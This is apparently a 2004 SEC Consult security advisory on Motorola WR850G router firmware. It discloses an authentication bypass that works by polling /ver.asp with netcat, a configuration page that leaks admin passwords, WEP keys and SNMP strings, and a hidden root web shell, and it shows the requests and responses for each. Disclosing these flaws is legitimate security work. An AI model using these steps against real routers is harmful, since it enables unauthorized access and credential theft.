Motorola Wireless Router WR850G Authentication Circumvention

-------------------------------------------------------------------------

| Motorola Wireless Router WR850G Authentication Circumvention |

-------------------------------------------------------------------------

Date: 09-03-2004

Author: Daniel Fabian

Product: Motorola Wireless Router WR850G, Firmware v4.03

Vendor: Motorola (http://www.motorola.com)

Vendor-Status: vendor contacted (09-02-2004 and 09-09-2004)

Vendor-Patches: none available

~~~~~~~~

Synopsis

~~~~~~~~~~~~~~~~~~~~~~~~

The firmware of Motorola's wireless router WR850G features a flaw that

enables an attacker to

* log into the routers web interface without knowing username or

password,

* gain knowledge of the router's username and password after logging

in.

Additionally the firmware contains an easter egg that provides a user

with a root shell on the routers linux software. However this root shell

can only be opened after a successful authentication.

 

~~~~~~~~

Vendor Status

~~~~~~~~~~~~~~~~~~~~~~~~

The vendor has been contacted twice (09-02-2004 and 09-09-2004) but has

so far failed to respond to our inquiries. Therefor, a patch is not

yet available.

 

~~~~~~~~

Vulnerabilities

~~~~~~~~~~~~~~~~~~~~~~~~

 

Authentication Circumvention:

-----------------------------

Scope:

One limitation of the routers firmware is that only one system at a

time can be logged into the web interface. However it does not correctly

keep track of the currently logged in system, making it possible for an

attacker to log into the web interface without having to know a username

or a password.

Exploit:

All an attacker has to do is to periodically poll for a file on the

routers web server that can only be accessed when logged into the

router (most likely this is going to be the file /ver.asp; see the

second described vulnerability). The attacker will get 302 redirect

messages, as long as nobody is logged in. However as soon as someone

knowing the password (ie. the real system administrator) logs into the

web interface from a different system (might either be behind the router,

on in front of it), not the system administrator is granted access, but

the attacker.

Example:

server:/var/www/htdocs# nc 10.10.69.244 8080
GET /ver.asp HTTP/1.0

HTTP/1.0 302 Redirect
Server: httpd
Date: Thu, 02 Sep 2004 14:30:15 GMT
Location: redirect.asp
Content-Type: text/xml
Connection: close

[Administrator (on a different IP) successfully logs in]

server:/var/www/htdocs# nc 10.10.69.244 8080
GET /ver.asp HTTP/1.0

HTTP/1.0 200 Ok
Server: httpd
Date: Thu, 02 Sep 2004 14:32:37 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close

[snip content]

The administrator trying to log in gets the error message:

403 Only one login allowed

The existing client:192.168.107.58

He therefore knows that someone is tempering with his system, though.

 

Password Recovery

-----------------

Scope:

The routers web server contains a page named ver.asp that contains an

output of every single configuration switch of the router. Among those

switches are:

* Web Interface Username and Password

* WEP Encryption Keys

* SNMP Community String

* DDNS password

* ...

The page can only be accessed when logged into the web interface either

by knowing the username and password, or by using the method described

above.

 

Exploit:

server:/var/www/htdocs# nc 80.108.69.244 8080
GET /ver.asp HTTP/1.0

HTTP/1.0 200 Ok
Server: httpd
Date: Thu, 02 Sep 2004 13:40:09 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close

[A short excerpt of the output:]
Pmon Version: 9<br>
Firmware version: 4.03, April.15, 2004<br>
pptp_passwd=<br>
http_username=admin<br>
wl0_ssid=hugo<br>
wl0_key1=a3b6d3351f<br>
http_passwd=strictlysecret<br>
wl_passphrase=tumbledry<br>
radius_key=<br>
SNMPCommunityOne=public<br>


Easter Egg: Root Shell
----------------------

Additionally to the page ver.asp, the routers web server also contains

a page named frame_debug.asp that contains a web shell where a user

can execute any command on the routers software. The page can only be

accessed when logged into the web interface either by knowing the

username and password, or by using the method described

above.

Example:

#cat /proc/version
Linux version 2.4.20 (sparklan@localhost.localdomain) (gcc version 3.0 
20010422 (prerelease) with bcm4710a0 modifications) #37 Thu Apr 15 
16:34:09 CST 2004

#uptime
2:56pm  up  7:33, load average: 0.59, 0.23, 0.09

#cat /proc/cpuinfo
system type		: Broadcom BCM947XX
processor		: 0
cpu model		: BCM4710 V0.0
BogoMIPS		: 82.94
wait instruction	: no
microsecond timers	: yes
tlb_entries		: 32
extra interrupt vector	: no
hardware watchpoint	: no
VCED exceptions		: not available
VCEI exceptions		: not available
dcache hits		: 3694025514
dcache misses		: 3395654302
icache hits		: 3303822179
icache misses		: 3094738920
instructions		: 2214575440

 

~~~~~~~~

Counter Measures

~~~~~~~~~~~~~~~~~~~~~~~~

Even though this does not resolve the vulnerability, the web interface

should be configured only to listen to LAN and not to WAN interfaces.

This at least eliminates the risk of being hacked from the outside, while

it is still possible for an insider to gain the passwords in the way

described above.

EOF Daniel Fabian / @2004

d.fabian at sec-consult dot com

~~~~~~~~

Contact

~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Unternehmensberatung GmbH

Büro Wien

Blindengasse 3

A-1080 Wien

Austria

Tel.: +43 / 1 / 409 0307 - 570

Fax.: +43 / 1 / 409 0307 - 590

Mail: office at sec-consult dot com

www.sec-consult.com